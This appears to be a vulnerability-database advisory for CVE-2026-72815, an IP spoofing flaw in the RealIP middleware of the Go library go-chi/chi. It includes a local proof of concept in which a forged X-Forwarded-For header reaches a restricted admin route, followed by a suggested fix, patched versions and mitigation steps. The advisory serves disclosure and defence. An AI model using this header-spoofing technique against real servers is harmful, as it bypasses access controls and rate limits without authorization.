Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

CVE-2026-72815 — middleware

CVE-2026-72815 is a CWE-290 vulnerability in github.com/go-chi/chi/v5/middleware. A fix is available for github.com/go-chi/chi/v5/middleware — see the affected versions and patch details below.

go-chi chi v5.2.1 IP Spoofing via X-Forwarded-For Header

Also known asGHSA-3fxj-6jh8-hvhxGO-2026-5774
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 25, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-72815.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk
0.00%0.33%0.66%1.00%0.4%0.5%0.5%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐹github.com/go-chi/chi/v5/middleware

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.

Details

In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:

func realIP(r *http.Request) string {
    // ...
    } else if xff := r.Header.Get(xForwardedFor); xff != "" {
        ip, _, _ = strings.Cut(xff, ",")
    }
    // ...
}

Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.

Proof of Concept (PoC)

The following code demonstrates how an attacker can bypass an IP-based restriction.

package main

import (
        "fmt"
        "net/http"
        "net/http/httptest"

        "github.com/go-chi/chi/v5"
        "github.com/go-chi/chi/v5/middleware"
)

func main() {
        r := chi.NewRouter()

        // Enable the vulnerable RealIP middleware
        r.Use(middleware.RealIP)

        // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
        r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
                clientIP := r.RemoteAddr
                fmt.Printf("[Server] Request received from IP: %s\n", clientIP)

                // Simulate IP-based access control
                if clientIP == "1.2.3.4" {
                        w.WriteHeader(http.StatusOK)
                        w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
                } else {
                        w.WriteHeader(http.StatusForbidden)
                        w.Write([]byte("Access Denied: You are not an administrator.\n"))
                }
        })

        // --- Attack Simulation ---
        fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")

        // 1. Normal Request (Should be denied)
        req1, _ := http.NewRequest("GET", "/admin/secret", nil)
        rr1 := httptest.NewRecorder()
        r.ServeHTTP(rr1, req1)
        fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())

        // 2. Spoofed Request (Using X-Forwarded-For)
        // Attacker claims to be '1.2.3.4'
        req2, _ := http.NewRequest("GET", "/admin/secret", nil)
        req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
        rr2 := httptest.NewRecorder()
        r.ServeHTTP(rr2, req2)
        fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}

Impact

An attacker can masquerade as any IP address. This can lead to:

  • Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
  • Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
  • Log Forgery: Causing incorrect IP addresses to be recorded in security logs.

CWE

  • CWE-290: Authentication Bypass by Spoofing
  • CWE-345: Insufficient Verification of Data Authenticity

CVSS Score

  • CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)

Affected Versions

  • github.com/go-chi/chi/v5 <= v5.2.1 (and all previous versions)

Recommendation

  1. Stop using middleware.RealIP if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.
  2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
  3. Use the X-Forwarded-For header by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.

Suggested Fix

A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:

func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
        xff := r.Header.Get("X-Forwarded-For")
        if xff == "" {
                return r.RemoteAddr
        }

        ips := strings.Split(xff, ",")
        // Traverse from right to left
        for i := len(ips) - 1; i >= 0; i-- {
                ipStr := strings.TrimSpace(ips[i])
                ip := net.ParseIP(ipStr)
                if ip == nil {
                        continue
                }

                if !isTrustedProxy(ip, trustedProxies) {
                        return ipStr
                }
        }

        return r.RemoteAddr
}

func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
        for _, network := range trustedProxies {
                if network.Contains(ip) {
                        return true
                }
        }
        return false
}

By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/go-chi/chi/v5/middleware≥ 5.2.1&&< 5.3.05.3.0go get github.com/go-chi/chi/v5/middleware@v5.3.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/go-chi/chi/v5/middleware, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/go-chi/chi/v5/middleware to 5.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-72815 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

An IP spoofing flaw exists in go-chi/chi's RealIP middleware. When parsing incoming HTTP requests, the middleware blindly trusts the leftmost IP address in the X-Forwarded-For header without verifying proxy chain trust. Remote unauthenticated attackers can supply arbitrary client IP addresses to bypass IP-based access…

Workaround published by Red Hat
Do not rely on the `RealIP` middleware when accepting connections from untrusted networks. Instead, configure an upstream reverse proxy (such as NGINX or HAProxy) to overwrite or sanitize client-supplied `X-Forwarded-For` headers before forwarding traffic to the application.
Source: Red Hat security advisory for CVE-2026-72815 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Hardened Imagesspire1-14-main-1.14.7-0.4.hum1RHSA-2026:49718
Red Hat Hardened Imagesspire1-15-main-1.15.2-0.4.hum1RHSA-2026:49732
Red Hat Hardened Imagesprometheus3-13-main-3.13.2-0.2.hum1RHSA-2026:50287
Red Hat Hardened Imagescosign-main-3.1.3-0.1.hum1RHSA-2026:54420

Frequently Asked Questions

## Summary The `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header. ## Details In `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value: ```go func realIP(r *http.Request) string { // ... } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip,
O3 Security · Impact-Aware SCA

Is CVE-2026-72815 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-72815: middleware Auth Bypass — Fixed in 5.3.0